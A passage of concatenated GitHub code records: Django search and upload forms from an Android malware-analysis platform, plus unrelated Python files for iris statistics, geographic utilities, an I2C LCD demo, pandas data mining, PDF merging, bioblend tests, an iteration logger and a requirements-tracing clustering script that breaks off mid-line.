'dexofuzzy'), ('func_hash', 'func_hash')])\n\n def do_search(self, sha=''):\n results = []\n algorithm = self.cleaned_data['algorithm']\n hash = self.cleaned_data['hash'].strip()\n try:\n if algorithm == 'dexofuzzy':\n results = get_matching_items_by_dexofuzzy(hash, 25, settings.ELASTICSEARCH_DEXOFUZZY_APK_INDEX, sha)\n if algorithm == 'ssdeep':\n results = get_matching_items_by_ssdeep(hash, 25, settings.ELASTICSEARCH_SSDEEP_APK_INDEX, sha)\n if algorithm == 'func_hash':\n results = get_matching_items_by_ssdeep_func(hash, 25, settings.ELASTICSEARCH_APK_INDEX, sha)\n\n except Exception as e:\n print(e)\n\n return results\n\n\nclass SearchForm(forms.Form):\n q = forms.CharField(max_length=128)\n\n def do_search(self):\n q = self.cleaned_data['q']\n\n query = {\n \"query\": {\n \"query_string\": {\n \"default_field\": \"sha256\",\n \"query\": q\n }\n },\n \"highlight\": {\n \"fields\": {\n \"*\": {\"pre_tags\": [\"\"], \"post_tags\": [\"\"]}\n }\n },\n \"aggs\": {\n \"permissions\": {\n \"terms\": {\"field\": \"permissions.keyword\"}\n },\n \"domains\": {\n \"terms\": {\"field\": \"domains_analysis._name.keyword\"}\n },\n \"android_features\": {\n \"terms\": {\"field\": \"features.keyword\"}\n }\n },\n \"sort\": {\"analysis_date\": \"desc\"},\n \"_source\": [\"apk_hash\", \"sha256\", \"uploaded_at\", \"icon_base64\", \"handle\", \"app_name\",\n \"version_code\", \"size\", \"dexofuzzy.apk\", \"quark.threat_level\", \"vt\", \"vt_report\", \"malware_bazaar\",\n \"is_signed\", \"frosting_data.is_frosted\", \"features\", \"andro_cfg.genom\"],\n \"size\": 50,\n }\n es = Elasticsearch(settings.ELASTICSEARCH_HOSTS)\n try:\n raw_results = es.search(index=settings.ELASTICSEARCH_APK_INDEX, body=query)\n results = transform_hl_results(raw_results)\n results = append_dexofuzzy_similarity(results, 'sim', 30)\n genetic_analysis = compute_genetic_analysis(results)\n return results, get_aggregations(raw_results), genetic_analysis\n except Exception as e:\n return [], [], None\n\n\nclass BasicUploadForm(forms.Form):\n apk = forms.FileField()\n\n\nclass BasicUrlDownloadForm(forms.Form):\n url = forms.URLField()\n\n\nclass YaraCreateForm(ModelForm):\n class Meta:\n model = Yara\n fields = ['title', 'content', 'is_private']\n","repo_name":"Pithus/bazaar","sub_path":"bazaar/front/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4123,"program_lang":"python","lang":"en","doc_type":"code","stars":244,"dataset":"github-code","pt":"48"} +{"seq_id":"14100166093","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef fix_target(target,n_classes):\n n_target = len(target)\n new_target = np.zeros((n_target,n_classes))\n for i in range(n_target):\n vector_target = np.zeros((1,n_classes))[0]\n vector_target[target[i]]+=1\n new_target[i]=vector_target\n new_target = np.reshape(new_target,(len(target),n_classes))\n return new_target\n\ndef sigmoid(z):\n return 1/(1+ np.exp(-z))\n\ndef calculate_MSE(gk,tk):\n return 0.5*np.matmul((gk-tk).T,(gk-tk))\n\ndef calculate_grad_W_MSE(g, t, x):\n return np.matmul(((g-t)*g*(1-g)).T,x.T)\n\n\ndef _removeFeature(data, features, featureToBeRemoved):\n n_features = len(features)\n newFeature = np.array([]) ##hard to preallocate string as you need to know the size, bad for efficiancy but whatever\n n_data = len(data)\n newData = np.array([[0.]*(n_features-1) for j in range(n_data)])\n \n j = 0 #ugly hack to get correct index for newFeature\n for i in range(n_features):\n if i%n_features != featureToBeRemoved:\n newFeature = np.append(newFeature, features[i])\n j+=1\n\n for i in range(n_data):\n k = 0\n for j in range(n_features):\n if j%n_features != featureToBeRemoved:\n newData[i][k] = data[i][j]\n k+=1\n\n return newData, newFeature\n\ndef removeListOfFeatures(data, feature, featureRemoveList):\n newData = data\n newFeature = feature\n for i in range(len(featureRemoveList)):\n newIndex = np.where(newFeature == feature[i])[0][0]\n newData, newFeature = _removeFeature(newData, newFeature, newIndex)\n\n return newData, newFeature\n\ndef hist(data, features, classes, file = 0):\n histData = data.T\n fig = plt.figure()\n plt.suptitle('Histograms of the different features and classes', fontweight='bold')\n \n featuresLeftToPlot = len(features)\n for f in range(len(features)):\n if featuresLeftToPlot>=2:\n xdir = 2\n else:\n xdir = 1\n plt.subplot(int(np.ceil(len(features)/2)), xdir, f+1)\n for c in range(3):\n plt.hist(histData[f][c*50:(c+1)*50], bins=30, alpha=0.5, label=classes[c])\n \n plt.title(features[f])\n plt.legend(loc='upper right')\n\n # Adding a plot in the figure which will encapsulate all the subplots with axis showing only\n fig.add_subplot(1, 1, 1, frame_on=False)\n\n # Hiding the axis ticks and tick labels of the bigger plot\n plt.tick_params(labelcolor=\"none\", bottom=False, left=False)\n\n #Make common x- and y-labels\n plt.xlabel('Length (cm)', fontweight='bold')\n plt.ylabel('Occurrences', fontweight='bold')\n\n if file != 0:\n plt.savefig(file)\n\n plt.show()\n return","repo_name":"magnuswiik/TTT4275-EDC-project","sub_path":"iris/stat_helper.py","file_name":"stat_helper.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71379963027","text":"# coding: utf-8\n\nfrom wtforms import BooleanField\nfrom models.location import Province, City, County\nimport jsonpickle\nimport datetime\nimport time\n\n\nfrom math import sin, asin, cos, radians, fabs, sqrt, degrees\n\npickler = jsonpickle.pickler.Pickler(unpicklable=False, max_depth=2)\nEARTH_RADIUS=6371 # 地球平均半径,6371km\n\ndef flatten(model):\n \"\"\"去除pickler.flatten里面的一个字段\"\"\"\n json = pickler.flatten(model)\n json.pop('_sa_instance_state', None)\n return json\n\n\ndef form_to_dict(form):\n form_dict = {}\n\n for key in form._fields: # 可以编写一个更好的函数��可惜我不会。。。\n if isinstance(form._fields[key].data, BooleanField) or isinstance(form._fields[key].data, int):\n form_dict[key] = form._fields[key].data\n continue\n\n if form._fields[key].data:\n form_dict[key] = form._fields[key].data\n\n return form_dict\n\n\ndef time_diff(dt):\n dt = datetime.datetime.strptime(str(dt), \"%Y-%m-%d %H:%M:%S\")\n today = datetime.datetime.today()\n s = int((today - dt).total_seconds())\n\n # day_diff > 365, use year\n if s / 3600 / 24 >= 365:\n return str(s / 3600 / 24 / 365) + \" 年前\"\n elif s / 3600 / 24 >= 30: # day_diff > 30, use month\n return str(s / 3600 / 24 / 30) + \" 个月前\"\n elif s / 3600 >= 24: # hour_diff > 24, use day\n return str(s / 3600 / 24) + \" 天前\"\n elif s / 60 > 60: # minite_diff > 60, use hour\n return str(s / 3600) + \" 小时前\"\n elif s > 60: # second_diff > 60, use minite\n return str(s / 60) + \" 分钟前\"\n else: # use \"just now\"\n return \"刚刚\"\n\n\ndef page_utils(count, page, per_page=10):\n min = 1\n max = count / per_page if count % per_page == 0 else count / per_page + 1\n page = page if ( page >= min and page <= max ) else 1\n\n return page, per_page, max\n\n\n#取得一个正确的返回字典\nclass success_dic(object):\n def __init__(self):\n self.dic = {}\n self.dic['status'] = 0\n self.dic['message'] = 'success'\n #self.dic['test'] = 'test success'\n\n def set(self, k, v):\n self.dic[k] = v\n\n\n#取得一个错误的返回字典\nclass fail_dic(object):\n def __init__(self):\n self.dic = {}\n self.dic['status'] = 1\n self.dic['message'] = '没有查询到相应数据!'\n #self.dic['test'] = 'test fail'\n\n def set(self, k, v):\n self.dic[k] = v\n\n\ndef time_to_str(time):\n \"\"\"\n\n \"\"\"\n return time.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n\n#把字符串转成datetime\ndef string_toDatetime(string):\n return datetime.strptime(string, \"%Y-%m-%d-%H\")\n\n\ndef is_valid_date(str):\n '''判断是否是一个有效的日期字符串'''\n try:\n time.strptime(str, \"%Y-%m-%d\")\n return True\n except:\n return False\n\n\n\ndef get_address(province_id, city_id, county_id, sign='$'):\n \"\"\"\n 参数\n province_id: 省id\n city_id: 市id\n county_id: 区id\n \"\"\"\n county = County.query.filter(County.id == county_id).first()\n province = Province.query.filter(Province.id == province_id).first()\n city = City.query.filter(City.id == city_id).first()\n\n return_string = \"\"\n if province:\n return_string += province.name + sign\n else:\n return_string += sign\n if city:\n return_string += city.name + sign\n else:\n return_string += sign\n if county:\n return_string += county.name\n\n return return_string\n\n\ndef get_county(city_id, resp_suc):\n \"\"\"\n 某个区\n \"\"\"\n countys = County.query.filter(County.city_id == city_id)\n if countys:\n for county in countys:\n county_pic = pickler.flatten(county)\n county_pic.pop('id')\n county_pic['area_id'] = county.id\n resp_suc['county'].append(county_pic)\n\n\ndef hav(theta):\n s = sin(theta / 2)\n return s * s\n\ndef get_distance_hav(lat0, lng0, lat1, lng1):\n \"用haversine公式计算球面两点间的距离。\"\n # 经纬度转换成弧度\n lat0 = radians(lat0)\n lat1 = radians(lat1)\n lng0 = radians(lng0)\n lng1 = radians(lng1)\n\n dlng = fabs(lng0 - lng1)\n dlat = fabs(lat0 - lat1)\n h = hav(dlat) + cos(lat0) * cos(lat1) * hav(dlng)\n distance = 2 * EARTH_RADIUS * asin(sqrt(h))\n\n return distance\n\n\n\n#周俊的计算方法\ndef calc_distance( l1, n1 , l2, n2 ):\n import math\n try:\n lat1 ,longt1 ,lat2 ,longt2 = float(l1),float(n1),float(l2),float(n2)\n except:\n return (math.pi * 2 * 6371229)\n\n PI = math.pi # 圆周率\n R = 6371229; #地球的半径\n\n x = (longt2 - longt1) * PI * R * math.cos(((lat1 + lat2) / 2) * PI / 180) / 180;\n y = (lat2 - lat1) * PI * R / 180;\n\n distance = math.sqrt(math.pow(x, 2) + math.pow(y,2)) #两者的平方和开根号\n\n return distance\n\n\ndef get_left_right_longitude_latitude(longitude, latitude, pubs):\n \"\"\"\n\n \"\"\"\n #fr = (page-1)*page_size\n #to = page*page_size\n distance = 0.05\n\n ##排序后就返回fr:to\n #pubs = pubs[fr:to]\n #return pubs\n\n dlng = 2 * asin(sin(distance / (2 * EARTH_RADIUS)) / cos(latitude))\n dlng = degrees(dlng) # 弧度转换成角度\n\n dlat = distance / EARTH_RADIUS\n dlat = degrees(dlat) # 弧度转换成角度\n array = {'left_top': (latitude + dlat, longitude - dlng),\n 'right_top': (latitude + dlat, longitude + dlng),\n 'left_bottom': (latitude - dlat, longitude - dlng),\n 'right_bottom': (latitude - dlat, longitude + dlng)}\n return array\n\n\ndef max_page(page, max, resp_suc):\n if max == 0:\n return False\n if int(page) > max:\n resp_suc['status'] = 1\n prompt = ['最多只有', str(max), '页']\n resp_suc['message'] = ''.join(prompt)\n return True\n else:\n return False\n\n","repo_name":"kejukeji/pub_py","sub_path":"utils/others.py","file_name":"others.py","file_ext":"py","file_size_in_byte":5833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31085030530","text":"import machine\r\nfrom machine import Pin, SoftI2C\r\nfrom lcd_api import LcdApi\r\nfrom i2c_lcd import I2cLcd\r\nfrom time import sleep\r\n\r\nI2C_ADDR = 0x27\r\ntotalRows = 2\r\ntotalColumns = 16\r\n\r\ni2c = SoftI2C(scl=Pin(22), sda=Pin(21), freq=10000) #initializing the I2C method for ESP32\r\n\r\nlcd = I2cLcd(i2c, I2C_ADDR, totalRows, totalColumns)\r\n\r\nwhile True:\r\n lcd.putstr(\"I2C LCD Tutorial\")\r\n sleep(2)\r\n lcd.clear()\r\n lcd.putstr(\"Lets Count 0-10!\")\r\n sleep(2)\r\n lcd.clear()\r\n for i in range(11):\r\n lcd.putstr(str(i))\r\n sleep(1)\r\n lcd.clear()\r\n","repo_name":"izzarzn/Micro-Python","sub_path":"Programs/I2C-LCD.py","file_name":"I2C-LCD.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"26772392947","text":"# María Isabel Ortiz Naranjo\r\n# Ejercicio Data Mining\r\n# Carné: 18176\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndf = pd.read_csv('./fortune500.csv')\r\ndf.head()\r\nprint(df.info())\r\ndf.columns = ['year', 'rank_', 'company', 'revenue', 'profit']\r\nprint(df.info())\r\ndf.head()\r\nprint(df.info())\r\nprint(\"La cantidad de registros: 25500\")\r\ndf.dtypes\r\nprint(df.info())\r\n\r\n# Investigue con la herramienta que está utilizando cómo puede desplegar los casos que no se están \r\n# logrando convertir a enteros para poder tener una idea de contra quénos estamos enfrentando.\r\n\r\nnumb = df.loc[df.profit.str.contains('[^0-9.-]')]\r\nnumb.head()\r\nprint(numb.info())\r\nprint(\"cantidad de registros: {}\".format(len(numb)))\r\n\r\n# Gráfica\r\n\r\ngraphic_plot = numb.year.plot.hist(bins=numb.year.max()-numb.year.min())\r\ngraphic_plot.set_ylabel(\"\")\r\n\r\ndf.drop(df.index[df['profit'] == 'N.A.'], inplace = True)\r\n# Muestra de la gráfica \r\nplt.show()\r\n\r\nprint(\"registros eliminados {}\".format(len(df)))\r\n\r\ndf = df.astype({\"profit\": float})\r\ndf.dtypes\r\nprint(df.info())\r\n\r\n# Gráfica de ganancia promedio\r\n\r\nprofit_average = df.groupby([\"year\"]).mean()\r\nprofitplot = profit_average[\"profit\"].plot(title=\" Ganancia promedio de 1955 al 2005\", color='#6283B4')\r\nprofitplot.grid(color=\"white\")\r\nprofitplot.set_facecolor('#EAEAF5')\r\nprofitplot.set_ylabel(\"Ganancias\")\r\nprofitplot.set_xlabel(\"\")\r\n\r\n# Muestra de la gráfica \r\nplt.show()\r\n\r\n# Grafica de promedio de ingresos\r\n\r\nprofitplot2 = profit_average[\"revenue\"].plot(title=\"Promedio de ingresos del 1955 al 2005\", color='#6283B4')\r\nprofitplot2.grid(color=\"white\")\r\nprofitplot2.set_facecolor('#EAEAF5')\r\nprofitplot2.set_ylabel(\"Ingresos (En millones)\")\r\nprofitplot2.set_xlabel(\"\")\r\n\r\n# Muestra de la gráfica \r\nplt.show()\r\n","repo_name":"isaonaranjo/Laboratorios-Data-Mining","sub_path":"Laboratorio1DataMining/Ejercicio1.py","file_name":"Ejercicio1.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33948621551","text":"from fitz import open as fitz_open\nfrom pathlib import Path\n\ndef merge_PDF_files_to_one(src_dir: str, dest_path: str):\n output = fitz_open()\n for p in Path(src_dir).iterdir():\n if p.is_file() and p.name[-3:].lower() == 'pdf':\n output.insert_pdf(fitz_open(p))\n output.save(dest_path)\n output.close()\n","repo_name":"wangsc801/note","sub_path":"Python/PDF/PyMuPDF__merge_PDF_files_to_one.py","file_name":"PyMuPDF__merge_PDF_files_to_one.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2394437344","text":"\"\"\"\nTest functions in bioblend.galaxy.tool_dependencies\n\"\"\"\nfrom . import (\n GalaxyTestBase,\n test_util,\n)\n\n\nclass TestGalaxyToolDependencies(GalaxyTestBase.GalaxyTestBase):\n @test_util.skip_unless_galaxy(\"release_20.01\")\n def test_summarize_toolbox(self):\n toolbox_summary = self.gi.tool_dependencies.summarize_toolbox()\n assert isinstance(toolbox_summary, list)\n assert len(toolbox_summary) > 0\n\n toolbox_summary_by_tool = self.gi.tool_dependencies.summarize_toolbox(index_by=\"tools\")\n assert isinstance(toolbox_summary_by_tool, list)\n assert len(toolbox_summary_by_tool) > 0\n assert isinstance(toolbox_summary_by_tool[0], dict)\n assert \"tool_ids\" in toolbox_summary_by_tool[0]\n assert isinstance(toolbox_summary_by_tool[0][\"tool_ids\"], list)\n tool_id = toolbox_summary_by_tool[0][\"tool_ids\"][0]\n\n toolbox_summary_select_tool_ids = self.gi.tool_dependencies.summarize_toolbox(\n index_by=\"tools\", tool_ids=[tool_id]\n )\n assert isinstance(toolbox_summary_select_tool_ids, list)\n assert len(toolbox_summary_select_tool_ids) == 1\n assert toolbox_summary_select_tool_ids[0][\"tool_ids\"][0] == tool_id\n\n @test_util.skip_unless_galaxy(\"release_20.01\")\n def test_unused_dependency_paths(self):\n unused_paths = self.gi.tool_dependencies.unused_dependency_paths()\n assert isinstance(unused_paths, list)\n\n @test_util.skip_unless_galaxy(\"release_20.01\")\n def test_delete_unused_dependency_paths(self):\n self.gi.tool_dependencies.delete_unused_dependency_paths(paths=[])\n","repo_name":"galaxyproject/bioblend","sub_path":"bioblend/_tests/TestGalaxyToolDependencies.py","file_name":"TestGalaxyToolDependencies.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"48"} +{"seq_id":"9580920362","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Utilities.\"\"\"\n\nimport copy\nimport time\nimport typing\n\nimport numpy as np\n\n_missing: dict = {}\n\n\nclass IterationJournal:\n \"\"\"Logger to save statistics bound to iterations\n\n This is a logger to save information related to iterations,\n such as step size. This can save not only scalars but also\n arrays. This keeps data as lists internally and saves values\n with the time they get available.\n\n Items stored in this instance must be registered with\n `register_iteration_items` method first.\n \"\"\"\n\n def __init__(self, config=None) -> None:\n \"\"\"Initialise an IterationJournal instance\"\"\"\n self.iteration_item_values: typing.Dict[str, typing.Any] = dict()\n self.iteration_item_times: typing.Dict[str, typing.Any] = dict()\n self.iteration_item_default_values: typing.Dict[\n str, typing.Any\n ] = dict()\n self.iteration_item_with_timing: typing.List[str] = []\n self.start_hook()\n\n def start_hook(self):\n \"\"\"Notify the start of the solver\"\"\"\n self.starttime = time.perf_counter()\n self.iteration = 0\n\n def iteration_start_hook(self, iteration):\n \"\"\"Notify the start of a new iteration\"\"\"\n self.iteration = iteration\n to = self.iteration + 1\n for key in self.iteration_item_default_values:\n self._append_item(key, to=to)\n\n def _append_item(self, key, value=_missing, time=np.nan, n=None, to=None):\n \"\"\"Extend the list by appending items\n\n Parameters\n ----------\n key : str\n value : object, optional\n If omitted, the default value is used.\n time : float, default np.nan\n n : int, optional\n If given, this specifies the number of items to be appended.\n If `n` and `to` is omitted, only one item is appended.\n to : int, optional\n If given, this specifies the expected length of the list\n ater appending items. If `n` is given, this is ignored.\n \"\"\"\n if value is _missing:\n value = self.iteration_item_default_values[key]\n self.iteration_item_values.setdefault(key, [])\n if key in self.iteration_item_with_timing:\n self.iteration_item_times.setdefault(key, [])\n if n is None:\n if to is None:\n n = 1\n else:\n n = to - len(self.iteration_item_values[key])\n if key in self.iteration_item_with_timing:\n for i in range(n):\n self.iteration_item_values[key].append(copy.deepcopy(value))\n self.iteration_item_times[key].append(time)\n else:\n for i in range(n):\n self.iteration_item_values[key].append(copy.deepcopy(value))\n\n def register_iteration_items(self, **kwargs):\n \"\"\"Register items to be logged\n\n This registers items to be logged. This method should\n be called with the following signature:\n\n ```\n register_iteration_items(\n item_name1=default_value1,\n item_name2=default_value2,\n ...\n )\n ```\n\n To control the behaviour finely, one can pass a dict.\n It may contain the following keys:\n - default (required) : object\n Default value\n - timing : bool, default True\n Keep timing or not.\n \"\"\"\n for key, value in kwargs.items():\n if not isinstance(value, dict):\n value = dict(default=value)\n assert \"default\" in value\n self.iteration_item_default_values[key] = value[\"default\"]\n if value.get(\"timing\", True):\n self.iteration_item_with_timing.append(key)\n\n def set_iteration_items(self, **kwargs):\n \"\"\"Set values of items\n\n This saves values of given items. This method should\n be called with the following signature:\n\n ```\n set_iteration_items(\n item_name1=saved_value1,\n item_name2=saved_value2,\n ...\n )\n ```\n \"\"\"\n it = self.iteration\n to = it + 1\n elapse = time.perf_counter() - self.starttime\n for key, value in kwargs.items():\n self._append_item(key, to=to)\n self.iteration_item_values[key][self.iteration] = value\n if key in self.iteration_item_with_timing:\n self.iteration_item_times[key][self.iteration] = elapse\n\n def is_iteration_item(self, key):\n return key in self.iteration_item_default_values\n\n def get(\n self,\n key,\n default=_missing,\n iteration=_missing,\n return_default_on_index_error=False,\n ):\n if not self.is_iteration_item(key):\n if default is _missing:\n raise KeyError(key)\n else:\n return default\n self._append_item(key, to=self.iteration + 1)\n if iteration is _missing:\n iteration = -1\n try:\n return self.iteration_item_values[key][iteration]\n except IndexError as e:\n if return_default_on_index_error:\n return self.iteration_item_default_values[key]\n else:\n raise e from None\n\n def get_all(self, key):\n return self.iteration_item_values[key]\n\n def add_iteration_item(self, key, value):\n self._append_item(key, to=self.iteration + 1)\n self.iteration_item_values[key][-1] += value\n\n def dump_data(\n self,\n out=None,\n value_format=\"iter_{key}\",\n time_format=\"iter_{key}_time\",\n ):\n \"\"\"Output all saved data\n\n Parameters\n ----------\n out : dict, optional\n If given, the results are written on this dict.\n Otherwise, a new dict is returned.\n value_format : str, default \"iter_{key}\"\n Format string to define an item name in the output.\n time_format : str, default \"iter_{key}_time\"\n Format string to define an item name in the output.\n\n Returns\n -------\n res : dict, optional\n This is returned when `out` is not given.\n \"\"\"\n if out is None:\n return_result = True\n out = {}\n else:\n return_result = False\n for key, value in self.iteration_item_values.items():\n if isinstance(self.iteration_item_default_values[key], list):\n out[value_format.format(key=key)] = np.concatenate(value)\n else:\n out[value_format.format(key=key)] = value\n if key in self.iteration_item_with_timing:\n out[time_format.format(key=key)] = self.iteration_item_times[\n key\n ]\n if return_result:\n return out\n\n\nif __name__ == \"__main__\":\n import doctest\n\n doctest.testmod()\n","repo_name":"nsugishita/subgradient_projection_for_sdp","sub_path":"cpsdppy/utils/journal.py","file_name":"journal.py","file_ext":"py","file_size_in_byte":6905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39622958724","text":"import pandas as pd\r\nfrom sklearn.cluster import AgglomerativeClustering\r\nimport matplotlib.pyplot as plt\r\n\r\ndef importTxt():\r\n with open('C:\\\\Users\\\\Jake\\\\Downloads\\\\run3-input.txt') as f:\r\n lines = f.readlines()\r\n NFRs = []\r\n FRs = []\r\n for l in lines:\r\n if l[0:3] == 'NFR':\r\n NFRs.append(l)\r\n elif l[0:2] == 'FR':\r\n FRs.append(l)\r\n elif l[0] == '\\n':\r\n x=1\r\n else:\r\n print(\"BADBADBAD\")\r\n return NFRs,FRs\r\n\r\ndef parseFRs(NFRs,FRs):\r\n pNFRs = []\r\n pFRs = []\r\n for NFR in NFRs:\r\n for i in range(len(NFR)):\r\n if NFR[i] == ':':\r\n pNFRs.append(NFR[i+2:len(NFR)-2])\r\n break\r\n for FR in FRs:\r\n for i in range(len(FR)):\r\n if FR[i] == ':':\r\n pFRs.append(FR[i+2:len(FR)-2])\r\n break\r\n\r\n for i in range(len(pNFRs)):\r\n pNFRs[i]=pNFRs[i].replace(\".\",\"\")\r\n pNFRs[i]=pNFRs[i].lower()\r\n for i in range(len(pFRs)):\r\n pFRs[i]=pFRs[i].replace(\".\",\"\")\r\n pFRs[i]=pFRs[i].lower()\r\n return pNFRs,pFRs\r\n\r\ndef jaccard(A,B):\r\n words_doc1 = set(A.lower().split())\r\n words_doc2 = set(B.lower().split())\r\n\r\n intersection = words_doc1.intersection(words_doc2)\r\n\r\n union = words_doc1.union(words_doc2)\r\n\r\n return float(len(intersection)) / len(union)\r\n\r\ndef jaccardMatrix(FRs):\r\n rows, cols = (len(FRs), len(FRs))\r\n df = [[0] * cols] * rows\r\n\r\n jac = 0.0\r\n for i in range(len(FRs)):\r\n for j in range(len(FRs)):\r\n jac = jaccard(FRs[i],FRs[j])\r\n df[i][j] = jac\r\n dfi = pd.DataFrame(df)\r\n return df\r\n\r\ndef jaccardMatrix2(FRs,NFRs):\r\n rows, cols = (len(FRs), len(NFRs)+1)\r\n\r\n df = pd.DataFrame({'FR': [0], 'NFR1': [0.0],'NFR2':[0.0],'NFR3':[0.0]})\r\n jaccd = 0.0\r\n if len(NFRs) == 4:\r\n for i in range(len(FRs)):\r\n # df = df.append([i+1,jac(FRs[i],NFRs[0]),jac(FRs[i],NFRs[1]),jac(FRs[i],NFRs[2])])\r\n df = df.append({'FR': (i + 1), 'NFR1': jaccard(FRs[i], NFRs[0]), 'NFR2': jaccard(FRs[i], NFRs[1]),\r\n 'NFR3': jaccard(FRs[i], NFRs[2]),'NFR4': jaccard(FRs[i], NFRs[3])}, ignore_index=True)\r\n\r\n df = df.iloc[1:, :]\r\n df = pd.DataFrame(df)\r\n return df\r\n\r\n for i in range(len(FRs)):\r\n #df = df.append([i+1,jac(FRs[i],NFRs[0]),jac(FRs[i],NFRs[1]),jac(FRs[i],NFRs[2])])\r\n df = df.append({'FR':(i+1),'NFR1': jaccard(FRs[i],NFRs[0]),'NFR2':jaccard(FRs[i],NFRs[1]),'NFR3':jaccard(FRs[i],NFRs[2])},ignore_index=True)\r\n\r\n df = df.iloc[1:, :]\r\n df = pd.DataFrame(df)\r\n return df\r\n\r\ndef runagglo(matrix):\r\n\r\n df = pd.DataFrame(matrix)\r\n df2 = df\r\n num = len(matrix)\r\n Z = [0]*num\r\n df.insert(1,\"Z\",[0]*num,True)\r\n k = AgglomerativeClustering(n_clusters=8,linkage=\"single\")\r\n kl = k.fit_predict(df)\r\n n0,n1,n2,n3,n4,n5,n6,n6,n7,j0,j1,j2,j3,j4,j5,j6,j7 = 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0\r\n i = 1\r\n for c in kl:\r\n if c == 0:\r\n n0 = n0 + 1\r\n j0 = j0 + matrix[i]\r\n elif c == 1:\r\n n1 = n1 + 1\r\n j1 = j1 + matrix[i]\r\n elif c == 2:\r\n n2 = n2 + 1\r\n j2 = j2 + matrix[i]\r\n elif c == 3:\r\n n3 = n3 + 1\r\n j3 = j3 + matrix[i]\r\n elif c == 4:\r\n n4 = n4 + 1\r\n j4 = j4 + matrix[i]\r\n elif c == 5:\r\n n5 = n5 + 1\r\n j5 = j5 + matrix[i]\r\n elif c == 6:\r\n n6 = n6 + 1\r\n j6 = j6 + matrix[i]\r\n elif c == 7:\r\n n7 = n7 + 1\r\n j7 = j7 + matrix[i]\r\n i = i+1\r\n a0 = j0/n0\r\n a1 = j1 / n1\r\n a2 = j2 / n2\r\n a3 = j3 / n3\r\n a4 = j4 / n4\r\n a5 = j5 / n5\r\n a6 = j6 / n6\r\n a7 = j7 / n7\r\n list = [a0,a1,a2,a3,a4,a5,a6,a7]\r\n loser1 = min(list)\r\n loser1i = list.index(loser1)\r\n list[loser1i] = 100.00\r\n loser2 = min(list)\r\n loser2i = list.index(loser2)\r\n list[loser2i] = 100.00\r\n #loser3 = min(list)\r\n #loser3i = list.index(loser3)\r\n #list[loser3i] = 100.00\r\n\r\n sendBack = matrix\r\n i = 1\r\n for c in kl:\r\n if list[c] == 100:\r\n sendBack[i] = int(0)\r\n elif list[c] == 50: #find out, future Jake\r\n if i%2 == 0:\r\n sendBack[i] = int(0)\r\n else:\r\n sendBack[i] = int(1)\r\n else:\r\n sendBack[i] = int(1)\r\n i = i+1\r\n return sendBack\r\n\r\ndef exporter(m1,m2,m3):\r\n m1 = list(map(int,m1))\r\n m2 = list(map(int, m2))\r\n m3 = list(map(int, m3))\r\n string = \"\"\r\n for i in range(len(m1)):\r\n string = string + \"FR\" + str(i+1) +\",\"+ str(m1[i])+\",\"+str(m2[i])+\",\"+str(m3[i])+\"\\n\"\r\n with open('C:\\\\Users\\\\Jake\\\\Downloads\\\\JacobKroger-run2-output.txt','w') as f:\r\n f.write(string)\r\n\r\ndef exporter4(m1,m2,m3,m4):\r\n m1 = list(map(int,m1))\r\n m2 = list(map(int, m2))\r\n m3 = list(map(int, m3))\r\n m4 = list(map(int, m4))\r\n string = \"\"\r\n for i in range(len(m1)):\r\n string = string + \"FR\" + str(i+1) +\",\"+ str(m1[i])+\",\"+str(m2[i])+\",\"+str(m3[i])+\",\"+str(m4[i])+\"\\n\"\r\n with open('C:\\\\Users\\\\Jake\\\\Downloads\\\\JacobKroger-run3-output.txt','w') as f:\r\n f.write(string)\r\n\r\n\r\nif __name__ == '__main__':\r\n # Hey future Jake!\r\n # 1) Hey\r\n # 2) I'm pretty sure I fixed what I needed to so that\r\n # you don't have to worry about the number 4\r\n # Who knows? I don't\r\n #\r\n # 3) I doooo know you need to change the paths at\r\n # lines 172,161,and 6 depending on what you're doing\r\n #\r\n # Functions that actually do meaningful things:\r\n #\r\n # importTxt(): reads txt file from path and separates NFRs from FRs\r\n # don't tinker with this for performance\r\n #\r\n # parseFRs(): interesting little thing that cuts out useless stuff like periods\r\n # and colons and makes everything lowercase\r\n # you could probably improve performance if you spent some time in here\r\n #\r\n # jaccard(): takes two strings, splits them into words, computes jaccard similarity\r\n # if you mess with this future Jake I will be slightly annoyed\r\n #\r\n # jaccardMatrix2(): BREAD AND BUTTER OF THIS DO NOT TOUCH.\r\n # Takes each FR and computes their JS with each NFR\r\n #\r\n # runagglo(): single link clustering, calcs average JS, cuts out the bottom couple\r\n # clusters, spits back which FRs are traced to the passed NFR\r\n # messing with this will get you significant performance results\r\n # specifically how many clusters are cut in the end\r\n #\r\n # exporter(): puts the links in a nice little (big) string and spits in to a .txt\r\n # exporter4(): same thing but with 4 NFRs\r\n #\r\n #\r\n # One last thing: to run the grader program I finagled->\r\n # open cmd in downloads\r\n # >javac Bop.java\r\n # >java Bop\r\n # \r\n ###########################################################################################\r\n\r\n NFRs, FRs = importTxt()\r\n NFRs, FRs = parseFRs(NFRs, FRs)\r\n #print(NFRs)\r\n #print(FRs)\r\n matrix = jaccardMatrix2(FRs, NFRs)\r\n\r\n matrix1 = runagglo(matrix['NFR1'])\r\n matrix2 = runagglo(matrix['NFR2'])\r\n matrix3 = runagglo(matrix['NFR3'])\r\n if len(NFRs) == 4:\r\n matrix4 = runagglo(matrix['NFR4'])\r\n exporter4(matrix1, matrix2, matrix3,matrix4)\r\n else:\r\n 